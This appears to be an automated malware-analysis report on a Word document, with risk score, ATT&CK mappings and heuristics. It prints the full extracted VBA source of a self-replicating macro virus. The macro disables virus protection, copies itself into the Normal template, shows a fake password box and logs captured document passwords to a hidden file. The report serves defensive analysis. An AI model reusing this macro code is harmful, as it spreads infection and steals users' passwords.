MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains a VBA macro with an AutoOpen subroutine, a common technique for executing malicious code upon document opening. The macro attempts to copy itself to the Normal template and the active document, indicating an attempt at persistence. The macro is named 'fake®', which is included as an IOC. While the full functionality is truncated, the presence of AutoOpen and the macro copying strongly suggests malicious intent.
Heuristics 3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7751 bytes |
SHA-256: 44ae7f6d8079a38e8ab446c4e65f2929ff8fa6036a8faf01d2d5fdd857439202 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "fake®"
Sub AutoOpen()
' Macro criada por Zig Freak
On Error GoTo Final
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
DocumentInstalled = False
GlobalInstalled = False
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "fake®" Then
DocumentInstalled = True
End If
Next
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(J).Name = "fake®" Then
GlobalInstalled = True
End If
Next
If DocumentInstalled = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="fake®", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="PassBox", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
If GlobalInstalled = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="fake®", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="PassBox", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If ActiveDocument.HasPassword = False Then GoTo Final
PassBox.Show
Call Abre
Final:
End Sub
Function Abre()
On Error Resume Next
SetAttr "C:\IO.SDX", 0
Open "C:\IO.SDX" For Append As #1
Print #1, "Path = " + ActiveDocument.FullName
Print #1, "Password = " + PassBox.TextBox1
Print #1, " "
Close #1
SetAttr "C:\IO.SDX", 1 + 2 + 4
Application.DisplayAlerts = wdAlertsAll
Unload PassBox
End Function
' Processing file: /opt/analyzer/scan_staging/ffd872ce535142d9b07efbc047040dc3.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/fake® - 6949 bytes
' Line #0:
' FuncDefn (Sub AutoOpen())
' Line #1:
' QuoteRem 0x0000 0x001B " Macro criada por Zig Freak"
' Line #2:
' OnError Final
' Line #3:
' Line #4:
' LitVarSpecial (False)
' Ld Application
' MemSt ScreenUpdating
' Line #5:
' Ld wdAlertsNone
' Ld Application
' MemSt DisplayAlerts
' Line #6:
' Line #7:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #8:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #9:
' Line #10:
' Line #11:
' SetStmt
' Ld ActiveDocument
' Set ActiveDoc
' Line #12:
' SetStmt
' Ld NormalTemplate
' Set GlobalDoc
' Line #13:
' Line #14:
' LitVarSpecial (False)
' St DocumentInstalled
' Line #15:
' LitVarSpecial (False)
' St GlobalInstalled
' Line #16:
' Line #17:
' StartForVariable
' Ld I
' EndForVariable
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #18:
' Ld I
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "fake®"
' Eq
' IfBlock
' Line #19:
' LitVarSpecial (True)
' St DocumentInstalled
' Line #20:
' EndIfBlock
' Line #21:
' StartForVariable
' Next
' Line #22:
' Line #23:
' StartForVariable
' Ld J
' EndForVariable
' LitDI2 0x
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.